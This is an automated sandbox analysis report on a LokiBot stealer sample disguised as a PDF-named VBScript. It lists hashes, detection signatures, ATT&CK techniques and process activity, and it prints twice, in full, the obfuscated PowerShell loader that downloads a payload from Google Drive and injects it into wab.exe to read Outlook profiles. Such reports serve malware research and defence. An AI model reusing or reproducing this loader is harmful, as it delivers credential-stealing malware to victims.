lokibot | 7144a0aad7f7b4649be82c811abd0c56a5639eb28df26bad47c886efc16721cd

Analysis

max time kernel
56s
max time network
63s
platform
windows10-2004_x64
resource
win10v2004-20240319-en
resource tags

arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
submitted
27/03/2024, 06:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
TEC2024-180222·pdf.vbs
Size 179KB
Sample240327-hr38pafa34
SHA256 7144a0aad7f7b4649be82c811abd0c56a5639eb28df26bad47c886efc16721cd
MD5 99a5c48a057eb982b179f742804abc11
SHA1 d02a9e28d3b020a86153e7383311e47e5190c508
SHA512 506b80578232af04f41b603168cf14a1efd84ba493065efc492aad127abbd50c7683175485d216c8712060e497a2553bfab8ce68e7a1d959c9c475a30a7285a8
SSDEEP 3072:XPvtrVR7t/zhP5AbvMZoxnRcRKKh14t8EIuvQcVi1l8ok/1fyLbvj/3s0oV++hyK:/vdVR7tLhxAbvMZoxnRcsK3M8EIOQcVl
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

lokibot collection spyware stealer trojan

Malware Config

Signatures

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1480	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
31	drive.google.com
32	drive.google.com
68	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1220	wab.exe
1220	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
452	powershell.exe
1220	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 452 set thread context of 1220	452	powershell.exe	113

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3456	powershell.exe
3456	powershell.exe
3456	powershell.exe
452	powershell.exe
452	powershell.exe
452	powershell.exe
452	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
452	powershell.exe
452	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	452	powershell.exe
Token: SeDebugPrivilege	1220	wab.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1480 wrote to memory of 3456	1480	WScript.exe	97
PID 1480 wrote to memory of 3456	1480	WScript.exe	97
PID 3456 wrote to memory of 5000	3456	powershell.exe	99
PID 3456 wrote to memory of 5000	3456	powershell.exe	99
PID 3456 wrote to memory of 452	3456	powershell.exe	108
PID 3456 wrote to memory of 452	3456	powershell.exe	108
PID 3456 wrote to memory of 452	3456	powershell.exe	108
PID 452 wrote to memory of 4892	452	powershell.exe	110
PID 452 wrote to memory of 4892	452	powershell.exe	110
PID 452 wrote to memory of 4892	452	powershell.exe	110
PID 452 wrote to memory of 4376	452	powershell.exe	112
PID 452 wrote to memory of 4376	452	powershell.exe	112
PID 452 wrote to memory of 4376	452	powershell.exe	112
PID 452 wrote to memory of 1220	452	powershell.exe	113
PID 452 wrote to memory of 1220	452	powershell.exe	113
PID 452 wrote to memory of 1220	452	powershell.exe	113
PID 452 wrote to memory of 1220	452	powershell.exe	113
PID 452 wrote to memory of 1220	452	powershell.exe	113

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TEC2024-180222·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Unkennel nihils Puddock Undervisningsaktivitetens #>;$Skrveknuserens=(cmd /c set /A 115^^0);Function Miljvrn ([String]$Bonitere){$Skrveknuserens=[char][int]$Skrveknuserens;$Hypersuspiciousngenirernes=$Skrveknuserens+'ubstring';$blasertheds=8;$registration=Stvstormenes($Bonitere);For($Hypersuspicious=7; $Hypersuspicious -lt $registration; $Hypersuspicious+=$blasertheds){$Concaulescence=$Bonitere.$Hypersuspiciousngenirernes.Invoke($Hypersuspicious, 1);$Soberness=$Soberness+$Concaulescence;}$Soberness;}function Mastmen ($Goddaughter){& ($Classicizing) ($Goddaughter);}function Stvstormenes ([String]$Gastrophrenic){$Planlgningsmssig=$Gastrophrenic.Length-1;$Planlgningsmssig;}$Eksercerpladser=Miljvrn 'Slette.T,ntrasyr MaitreaRegularn MarlocsEnki.upfArbitraeOrthogarMesologrDisentai Byr,ednBip.odugAngrebs ';$Oxyphile=Miljvrn 'Capitaah manettt Adh,sit EmpannpKennysksJewelf,:.mpugnm/Bldtpla/ForbidddDiace.arReadvociSubsidiv FilmuneDiscont. Casu.rg,hrenesoCartoucouninspigAbef.stl BelejreHeadsti.D,mptrocRaager.o.ekognomBilledm/Bugba,eu Biblioc H,mido?DuomosseSkatterxg dekaspAmapondoAnallanrEpochalt Gravre=HutleskdUdstatioCommop w Enneasn BardislSnerpenoResp ktaFllesskdAgestol&SubacidiJgerensdSplat,r=Ostindi1Chlo,itOAfhstniCLejekasy Ove cls studen6Tramped8Toponeu1Mo zlepTHulkort-WhitingIRammevvuDisconvuKvlstof5DonsydeKSynchroxNonpolekPattamaLCamperiUIndologvInderfjrmorgenfMUnr,bufs Filant1TransluXKa,olamiSultrie4ArchikaqUpload uOv.rplum.ongasexKrostueXN.nceleCTromle ';$Classicizing=Miljvrn ' StiksfiErran.neT ermosxCharlin ';$Natriumbenzoat=Miljvrn 'Serpole$ Coolerg T,afiklUnp.efeoV.soconbDiskettaTetrapllItamal,:ovennaeSKunstudiBrofogdlDispa.siMetasomcRefl,ktaMiddelvtCorpo.aiStyringzfartbe aPu,gasct,menorri.irthfuoHdrepednIgnorhesRatlike Skaldsp=Spritte LegeplaS baksedtstercoraInds,krrkni,sgbt Kneben-SindockBVankelmiPrimelytUnfermes WhitewTBrkdelerGemmendaUncon enuforstys KaraflfElhe nkeIchthyorElephan Lifespa-Unde.meSParfumeo aterfu Udsp crCockeyecBecloakeHenfro. .almiti$PuppethOAzathiox Sup.leyBeigefapC,nfedehOverlabiMetroc.lRepresseViolace Ravio.i-AbstineDMidterfeAlcaic.s B,dgettFldet.kiZappersn Fu,nacaGlobig.tImponeriMe.oidso aketvnBukseba Magistr$ MoschiJNo lixioPolitifbafskedem ShippyeTallowsnK,lkvrk ';Mastmen (Miljvrn 'Debauch$BlleshigAnalerolNonliquoPerpetubExobiola Tidsskl Dd.boe:rewrapvJFlyvegroSentimebAfdrivemVaregruetilsendnOutcurv= Nedlag$ PopgloeHexahemnSyndac.vU fixed:Hjemmeaa ,onscrpSmagsprpPri,ovidbapt smaDisap otSprogklaKonfron ') ;Mastmen (Miljvrn ' CincinIAnti ibmreaumurp Interno,oteapprFingervt Handsc-Intr,duMPrea.hioSantonidFormulauJosiapulIkraftteHippopa go omeBOperantiDazesditBil.asksHeaveniTLe,comerBoswellaFernisenAgn gafs Upli hf.eklameeFngslinrAntichr ') ;$Jobmen=$Jobmen+'\Uigenkendeligt.Stv' ;Mastmen (Miljvrn 'Faunssl$MikdyrlgThirdlil M,greno UnassubInka.neaunsin alEkspede:AppelsiD Sanct.rKorn,liiEksamenlJernporlR,paireeGellertsG,averoy Wau.opgProfeteeSensualsStilfu tLandsdee cesicasUnobtai= Forlbe(CertifiTstr.ndaeunilatesF rbehatLimnoph-BowdlerPGuy.esta dngetgtSuperdahHaandta Startti$LeernesJvictoirokollegibMagnet.mSkrisineChal.ennUgennem)Si.eeff ') ;while (-not $Drillesygestes) {Mastmen (Miljvrn 'StationIRedet rfUndiger Vaugue,(Waivedg$BlindesSNyhedsfi ReexpllLynchetiLeu,emic ophidiaBlomkaatT elalgi .illetzMilitarahyperpetBreedi.iLancastoUnhes tn UafhaesToo.tyv.FondlypJSha.nysoOpdaterbBoformhSNgendantIsomorfaCenter.t GossameDud,mis Abulom-Fjord.ye HypokoqSpu lyi Quipful$TroldetE Tripl kDemonizsFuglekaeSm rtetrToaktercPers steIndlrinrImmunispMiljfa,lOrthopraUbesin,dMonograsSkagboeeDenudatrRdkridt)H bitli ,osdede{H.emmefS BlustetBuksesta Glimrer .anpowtBering,-.esetmeS FiskeblHalvabee Litz ee ThrownpDeknigh Kendemr1Normali} NonserePiqu.foldisillus TemptreExisten{stifte.STheropotAndreymaFikstidrUmp,iret Echini-KologisS Cobe il Trus.eeRebaptieModernip.mpulsb Bathvil1 Sves.e;Fi terkMTelecomaNon,ransTu erkutMetergrmFornemmeAn sbolnAl giag Proxim$ El.havN ParentagrandiltFlbenderFissefliRemoistubortsalmSuprasebSatrapieNasallyn BarskezSkjaldeoChlamypaApoplektInte,es}Campedp ');Mastmen (Miljvrn 'Hobnobb$ApaytsegPastastl Canf eoHvile sbDatastyaReunitalHaloman:BookwarD OnesterAstragliOpd,ivelSkglsnolHu lbare Borgers AffaldyUnnaggigFo behoeHimlesusDaneflotBistipueDebuggisUdvalge=Duellan( ,rbejdT LuftkoeSlettelsKarnevatCenterk-UnexotiPplotiniaPaukisttIllimithBttef,l Bo edn$Noni luJDesorieoPdpmydibInd,nremLn.otsye rbejdnVagtpos).verbyg ') ;}Mastmen (Miljvrn 'Harcele$motorbigDiscordlIndu.ivoKommandbHavanesaMyxop dloverdaa:BegildcF Dra.gei SacroilTruchammweitspek Ele.haoEvadnegn EntitasPinerieuDuncishlReviseeewartimen Squealt,mpirek La,antt= Frihan glde,feGPa.ziere VandsktPl.tten-PressefCIndfoero roevernNoma eitVariereeF,retelnRetrom,tPerdura Tr.nitr$ManegekJzamicruoBenaadnb MotorcmDoolfuoeafraknin Pseudo ');Mastmen (Miljvrn 'Intersp$EfferougskonnerlPhlegmloTabelspbtoldereaNonadmilUnderbe:Dallo.fFBioac irRefusioaG,rmentsHeteropaBummackgStedmodtBasiati Tilslut=Pa,keri Gro.to[GoustroS De.endyRembours L ccintDr.wseseFrigrelmSpediti. outcomCLivsbe o indprenHypophyvStartpae Brol trP ainhetOldtids]Str,ale:Kreditp:AnomuroF MaltherS.ignino IrresomHornadaBUnguentaImmuniss Kri.ssehuma iz6Uskolet4 jmessSScypha tDeka,terCortegeiEarbashnSaddelmgFyrr tr( acqu,s$DwyerscFPerfectiCrotonalPensionm,elarenkCancello SemihunSkriverspr.pensuOver aplScar,eseDuelle,nkorketetPaalben)Rhipido ');Mastmen (Miljvrn 'Glim.en$BroodlegNonquallCar amuoBorremobSelvanganonfruglKlenod.:TilrantLCommuniaAnarthrdum.ddely OutqualG,rdistiUns,uglnPlessimgVider s ,istrik= Stykgo Beregni[.roatenS ,neboeyDataredsCommisstChrysopeOprulnimRemarke.Photo nTJrgineueCephaloxtilkendtParamet.VaporisE ReshvenBagkldncFo.manioFumyeurdFylladiiInkubatnKnobettgKedende]Tovli.l:Natskif:OrdstyrADemo.alSSuccor CAsyllabI TranspIGl nsbi. OxyamiGNiggerdeNuncupatLioni,aSEg,erttt Tilst rSantonai rvledenParlamegTrimmep(Srt.ykk$TroldunFPaquemerDagtureaStadionsKlgeryeaTobindsgStormestRedact.)Coppere ');Mastmen (Miljvrn 'Mispurc$Bor spagknoglemleigillfo Mall.abscopuliaE.helbel rovsor:CopulatBPrewounrNature u bjrnekgUnderdreLysavisrHonestleQuenche=Mistio.$ o erstLPl jemdaProk.radPangiumySkovteklAdskiltiAvignonnYv ttecgPh,nome. PedalisForvoldu .hundebBespangs R,ffelt,elaksarirettesiSkonnern Safir,gSplanch(Fr,ighu3 Milton3Alcohol1Nonhous0Flodmun0 Eksilc3kalech,,Exalted3Contect1uniplex2Ser.omo5Recentl3Misarra)snebold ');Mastmen $Brugere;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c set /A 115^^0
    3⤵
    PID:5000
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Unkennel nihils Puddock Undervisningsaktivitetens #>;$Skrveknuserens=(cmd /c set /A 115^^0);Function Miljvrn ([String]$Bonitere){$Skrveknuserens=[char][int]$Skrveknuserens;$Hypersuspiciousngenirernes=$Skrveknuserens+'ubstring';$blasertheds=8;$registration=Stvstormenes($Bonitere);For($Hypersuspicious=7; $Hypersuspicious -lt $registration; $Hypersuspicious+=$blasertheds){$Concaulescence=$Bonitere.$Hypersuspiciousngenirernes.Invoke($Hypersuspicious, 1);$Soberness=$Soberness+$Concaulescence;}$Soberness;}function Mastmen ($Goddaughter){& ($Classicizing) ($Goddaughter);}function Stvstormenes ([String]$Gastrophrenic){$Planlgningsmssig=$Gastrophrenic.Length-1;$Planlgningsmssig;}$Eksercerpladser=Miljvrn 'Slette.T,ntrasyr MaitreaRegularn MarlocsEnki.upfArbitraeOrthogarMesologrDisentai Byr,ednBip.odugAngrebs ';$Oxyphile=Miljvrn 'Capitaah manettt Adh,sit EmpannpKennysksJewelf,:.mpugnm/Bldtpla/ForbidddDiace.arReadvociSubsidiv FilmuneDiscont. Casu.rg,hrenesoCartoucouninspigAbef.stl BelejreHeadsti.D,mptrocRaager.o.ekognomBilledm/Bugba,eu Biblioc H,mido?DuomosseSkatterxg dekaspAmapondoAnallanrEpochalt Gravre=HutleskdUdstatioCommop w Enneasn BardislSnerpenoResp ktaFllesskdAgestol&SubacidiJgerensdSplat,r=Ostindi1Chlo,itOAfhstniCLejekasy Ove cls studen6Tramped8Toponeu1Mo zlepTHulkort-WhitingIRammevvuDisconvuKvlstof5DonsydeKSynchroxNonpolekPattamaLCamperiUIndologvInderfjrmorgenfMUnr,bufs Filant1TransluXKa,olamiSultrie4ArchikaqUpload uOv.rplum.ongasexKrostueXN.nceleCTromle ';$Classicizing=Miljvrn ' StiksfiErran.neT ermosxCharlin ';$Natriumbenzoat=Miljvrn 'Serpole$ Coolerg T,afiklUnp.efeoV.soconbDiskettaTetrapllItamal,:ovennaeSKunstudiBrofogdlDispa.siMetasomcRefl,ktaMiddelvtCorpo.aiStyringzfartbe aPu,gasct,menorri.irthfuoHdrepednIgnorhesRatlike Skaldsp=Spritte LegeplaS baksedtstercoraInds,krrkni,sgbt Kneben-SindockBVankelmiPrimelytUnfermes WhitewTBrkdelerGemmendaUncon enuforstys KaraflfElhe nkeIchthyorElephan Lifespa-Unde.meSParfumeo aterfu Udsp crCockeyecBecloakeHenfro. .almiti$PuppethOAzathiox Sup.leyBeigefapC,nfedehOverlabiMetroc.lRepresseViolace Ravio.i-AbstineDMidterfeAlcaic.s B,dgettFldet.kiZappersn Fu,nacaGlobig.tImponeriMe.oidso aketvnBukseba Magistr$ MoschiJNo lixioPolitifbafskedem ShippyeTallowsnK,lkvrk ';Mastmen (Miljvrn 'Debauch$BlleshigAnalerolNonliquoPerpetubExobiola Tidsskl Dd.boe:rewrapvJFlyvegroSentimebAfdrivemVaregruetilsendnOutcurv= Nedlag$ PopgloeHexahemnSyndac.vU fixed:Hjemmeaa ,onscrpSmagsprpPri,ovidbapt smaDisap otSprogklaKonfron ') ;Mastmen (Miljvrn ' CincinIAnti ibmreaumurp Interno,oteapprFingervt Handsc-Intr,duMPrea.hioSantonidFormulauJosiapulIkraftteHippopa go omeBOperantiDazesditBil.asksHeaveniTLe,comerBoswellaFernisenAgn gafs Upli hf.eklameeFngslinrAntichr ') ;$Jobmen=$Jobmen+'\Uigenkendeligt.Stv' ;Mastmen (Miljvrn 'Faunssl$MikdyrlgThirdlil M,greno UnassubInka.neaunsin alEkspede:AppelsiD Sanct.rKorn,liiEksamenlJernporlR,paireeGellertsG,averoy Wau.opgProfeteeSensualsStilfu tLandsdee cesicasUnobtai= Forlbe(CertifiTstr.ndaeunilatesF rbehatLimnoph-BowdlerPGuy.esta dngetgtSuperdahHaandta Startti$LeernesJvictoirokollegibMagnet.mSkrisineChal.ennUgennem)Si.eeff ') ;while (-not $Drillesygestes) {Mastmen (Miljvrn 'StationIRedet rfUndiger Vaugue,(Waivedg$BlindesSNyhedsfi ReexpllLynchetiLeu,emic ophidiaBlomkaatT elalgi .illetzMilitarahyperpetBreedi.iLancastoUnhes tn UafhaesToo.tyv.FondlypJSha.nysoOpdaterbBoformhSNgendantIsomorfaCenter.t GossameDud,mis Abulom-Fjord.ye HypokoqSpu lyi Quipful$TroldetE Tripl kDemonizsFuglekaeSm rtetrToaktercPers steIndlrinrImmunispMiljfa,lOrthopraUbesin,dMonograsSkagboeeDenudatrRdkridt)H bitli ,osdede{H.emmefS BlustetBuksesta Glimrer .anpowtBering,-.esetmeS FiskeblHalvabee Litz ee ThrownpDeknigh Kendemr1Normali} NonserePiqu.foldisillus TemptreExisten{stifte.STheropotAndreymaFikstidrUmp,iret Echini-KologisS Cobe il Trus.eeRebaptieModernip.mpulsb Bathvil1 Sves.e;Fi terkMTelecomaNon,ransTu erkutMetergrmFornemmeAn sbolnAl giag Proxim$ El.havN ParentagrandiltFlbenderFissefliRemoistubortsalmSuprasebSatrapieNasallyn BarskezSkjaldeoChlamypaApoplektInte,es}Campedp ');Mastmen (Miljvrn 'Hobnobb$ApaytsegPastastl Canf eoHvile sbDatastyaReunitalHaloman:BookwarD OnesterAstragliOpd,ivelSkglsnolHu lbare Borgers AffaldyUnnaggigFo behoeHimlesusDaneflotBistipueDebuggisUdvalge=Duellan( ,rbejdT LuftkoeSlettelsKarnevatCenterk-UnexotiPplotiniaPaukisttIllimithBttef,l Bo edn$Noni luJDesorieoPdpmydibInd,nremLn.otsye rbejdnVagtpos).verbyg ') ;}Mastmen (Miljvrn 'Harcele$motorbigDiscordlIndu.ivoKommandbHavanesaMyxop dloverdaa:BegildcF Dra.gei SacroilTruchammweitspek Ele.haoEvadnegn EntitasPinerieuDuncishlReviseeewartimen Squealt,mpirek La,antt= Frihan glde,feGPa.ziere VandsktPl.tten-PressefCIndfoero roevernNoma eitVariereeF,retelnRetrom,tPerdura Tr.nitr$ManegekJzamicruoBenaadnb MotorcmDoolfuoeafraknin Pseudo ');Mastmen (Miljvrn 'Intersp$EfferougskonnerlPhlegmloTabelspbtoldereaNonadmilUnderbe:Dallo.fFBioac irRefusioaG,rmentsHeteropaBummackgStedmodtBasiati Tilslut=Pa,keri Gro.to[GoustroS De.endyRembours L ccintDr.wseseFrigrelmSpediti. outcomCLivsbe o indprenHypophyvStartpae Brol trP ainhetOldtids]Str,ale:Kreditp:AnomuroF MaltherS.ignino IrresomHornadaBUnguentaImmuniss Kri.ssehuma iz6Uskolet4 jmessSScypha tDeka,terCortegeiEarbashnSaddelmgFyrr tr( acqu,s$DwyerscFPerfectiCrotonalPensionm,elarenkCancello SemihunSkriverspr.pensuOver aplScar,eseDuelle,nkorketetPaalben)Rhipido ');Mastmen (Miljvrn 'Glim.en$BroodlegNonquallCar amuoBorremobSelvanganonfruglKlenod.:TilrantLCommuniaAnarthrdum.ddely OutqualG,rdistiUns,uglnPlessimgVider s ,istrik= Stykgo Beregni[.roatenS ,neboeyDataredsCommisstChrysopeOprulnimRemarke.Photo nTJrgineueCephaloxtilkendtParamet.VaporisE ReshvenBagkldncFo.manioFumyeurdFylladiiInkubatnKnobettgKedende]Tovli.l:Natskif:OrdstyrADemo.alSSuccor CAsyllabI TranspIGl nsbi. OxyamiGNiggerdeNuncupatLioni,aSEg,erttt Tilst rSantonai rvledenParlamegTrimmep(Srt.ykk$TroldunFPaquemerDagtureaStadionsKlgeryeaTobindsgStormestRedact.)Coppere ');Mastmen (Miljvrn 'Mispurc$Bor spagknoglemleigillfo Mall.abscopuliaE.helbel rovsor:CopulatBPrewounrNature u bjrnekgUnderdreLysavisrHonestleQuenche=Mistio.$ o erstLPl jemdaProk.radPangiumySkovteklAdskiltiAvignonnYv ttecgPh,nome. PedalisForvoldu .hundebBespangs R,ffelt,elaksarirettesiSkonnern Safir,gSplanch(Fr,ighu3 Milton3Alcohol1Nonhous0Flodmun0 Eksilc3kalech,,Exalted3Contect1uniplex2Ser.omo5Recentl3Misarra)snebold ');Mastmen $Brugere;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c set /A 115^^0
      4⤵
      PID:4892
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:4376
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:1220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4144 --field-trial-handle=2320,i,3025503729105798828,9325691672526736153,262144 --variations-seed-version /prefetch:8
1⤵
PID:3324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Steamerload.txt

Path C:\Users\Admin\AppData\Local\Temp\Steamerload.txt
Size 6KB
SHA256 99a893ddad501e48a8634de7500a22df91321557b0a06f8fc754321040b49047
MD5 098830b1cc15915832285513dc0cc1bb
SHA1 0d06e703821cee6c679d7111a6b1fe3639603619
SHA512 3929f500d54cf65b1ab4e4d5385095c43aea60400caadcdc06bd019e93e4ce097727af6aa9b3673c7e5c0d22d662074cdae7bfcd7ab0280f72279211a3610c3f
SSDEEP 96:FjGIvUHrFjRYWlpSSvR2eOO8a8WpjMKwow7XpLhUnA1t5mWhIA5ank2:FHqRjKXS52f7MRMl7ZhUnA1tLICanV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Steamerload.txt

Path C:\Users\Admin\AppData\Local\Temp\Steamerload.txt
Size 3KB
SHA256 60a73ca33481d1e9f3b75cabc2400bc2cea63ec34788398b8fed922f41b160a1
MD5 a9f44efc6ef3d7b3382c91c067897d70
SHA1 2bc036296c781f60431e061155774f619d8dd44d
SHA512 d7acbe226777e3fbc136ddfde8d1421c260bc66460ac493583dedc4ed7c428147d2f1098b557940684dd84a25c1fe6bc1adedbe6e8e3b4388a85b439cc094d11
MD5 SHA1 SHA512

Submit Download

Steamerload.txt

Path C:\Users\Admin\AppData\Local\Temp\Steamerload.txt
Size 3KB
SHA256 b18f46224ddb4a9144214e83f5cc10cf927e3e20a232be2757c284ef13b1e3f9
MD5 3eb150c339d4972c6b281ce6777e8b1d
SHA1 7f1795f4ab88330a879d261c23155ea1278a61b2
SHA512 18b6952b752033cb35b575a0a1283f2a51884d8cf9a72dea4b6476da3405c280067fc9a6f3f734e7febf5082081e882e4db4b03fdcb87377a427b0cea2dccb31
MD5 SHA1 SHA512

Submit Download

Steamerload.txt

Path C:\Users\Admin\AppData\Local\Temp\Steamerload.txt
Size 3KB
SHA256 3118de74ecaf5bdc0dfcc11c01d68f80dcdb7390ea2b4ef0fdda7ca10f4b00c0
MD5 9b4995e0a777dd3e047fdfaaf0dde163
SHA1 5594609d19205d863b9017af15d4d09bcca3458c
SHA512 a1d060a02fab6db39220aa724d4036364889e027828fff0c74d7fc737f668afbb3d35814ef82c832dfc33e4859a8418f257119d69daaefdb64a4588415b8c20c
MD5 SHA1 SHA512

Submit Download

Steamerload.txt

Path C:\Users\Admin\AppData\Local\Temp\Steamerload.txt
Size 178B
SHA256 28f52ac79ece54b0850acd7b4c8c23d81963e5441ee936e5fe9ae483f7874779
MD5 ac28872c2317cd6d5b29f58afd595143
SHA1 be1fc69d60f45504b1a02e5903e4f177b8c47bd3
SHA512 7e9cb1b7e7730e933f2777e50d68d61dca6a40fd883723d3e24bc4f7d0f572c26190e75c7e4b3608755d61ebee596f9cb567ee5f80c1e8ad1a6888f2182c49bd
MD5 SHA1 SHA512

Submit Download

Steamerload.txt

Path C:\Users\Admin\AppData\Local\Temp\Steamerload.txt
Size 5KB
SHA256 23216a3bcb3b26aa894e611f34a0c81b1d932edaa1c3ae435248e982b300edd5
MD5 ac3a504e98cc0a5c94d73ef412e33f7c
SHA1 d5515d782bed5c1afd5064a9562108471671233b
SHA512 39ed90915c044496599d39a940674282f3c7c8ae1bd79752d2b436bfc104afe0341b3db8de1ee7b347b8016344fbd2f09c194ccc933e8d5fb3140dbca93fb7ca
SSDEEP 96:FjGIvUHrFjRYWlpSSvR2eOO8a8WpjMKwow7XpLhUnA1t5c:FHqRjKXS52f7MRMl7ZhUnA1ty
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_2ocjh3ur.xs4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ocjh3ur.xs4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/452-271-0x0000000005700000-0x0000000005D28000-memory.dmp

Download

memory/452-275-0x00000000056C0000-0x00000000056E2000-memory.dmp

Download

memory/452-307-0x0000000002CB0000-0x0000000002CC0000-memory.dmp

Download

memory/452-306-0x0000000002CB0000-0x0000000002CC0000-memory.dmp

Download

memory/452-305-0x0000000077AF1000-0x0000000077C11000-memory.dmp

Download

memory/452-304-0x0000000002CB0000-0x0000000002CC0000-memory.dmp

Download

memory/452-268-0x00000000750D0000-0x0000000075880000-memory.dmp

Download

memory/452-269-0x0000000002C60000-0x0000000002C96000-memory.dmp

Download

memory/452-303-0x0000000002CB0000-0x0000000002CC0000-memory.dmp

Download

memory/452-298-0x0000000002CB0000-0x0000000002CC0000-memory.dmp

Download

memory/452-272-0x0000000002CB0000-0x0000000002CC0000-memory.dmp

Download

memory/452-302-0x00000000750D0000-0x0000000075880000-memory.dmp

Download

memory/452-300-0x0000000008FC0000-0x000000000DBB5000-memory.dmp

Download

memory/452-334-0x00000000750D0000-0x0000000075880000-memory.dmp

Download

memory/452-276-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Download

memory/452-282-0x0000000005F40000-0x0000000005FA6000-memory.dmp

Download

memory/452-287-0x00000000060B0000-0x0000000006404000-memory.dmp

Download

memory/452-288-0x0000000006590000-0x00000000065AE000-memory.dmp

Download

memory/452-289-0x0000000006AE0000-0x0000000006B2C000-memory.dmp

Download

memory/452-299-0x0000000007CC0000-0x0000000007CC1000-memory.dmp

Download

memory/452-291-0x0000000007DE0000-0x000000000845A000-memory.dmp

Download

memory/452-292-0x0000000006B90000-0x0000000006BAA000-memory.dmp

Download

memory/452-293-0x0000000007800000-0x0000000007896000-memory.dmp

Download

memory/452-294-0x00000000077B0000-0x00000000077D2000-memory.dmp

Download

memory/452-295-0x0000000008A10000-0x0000000008FB4000-memory.dmp

Download

memory/452-296-0x0000000007A20000-0x0000000007A42000-memory.dmp

Download

memory/452-297-0x0000000007A80000-0x0000000007A94000-memory.dmp

Download

memory/1220-338-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1220-336-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1220-327-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1220-331-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1220-322-0x0000000001000000-0x0000000005BF5000-memory.dmp
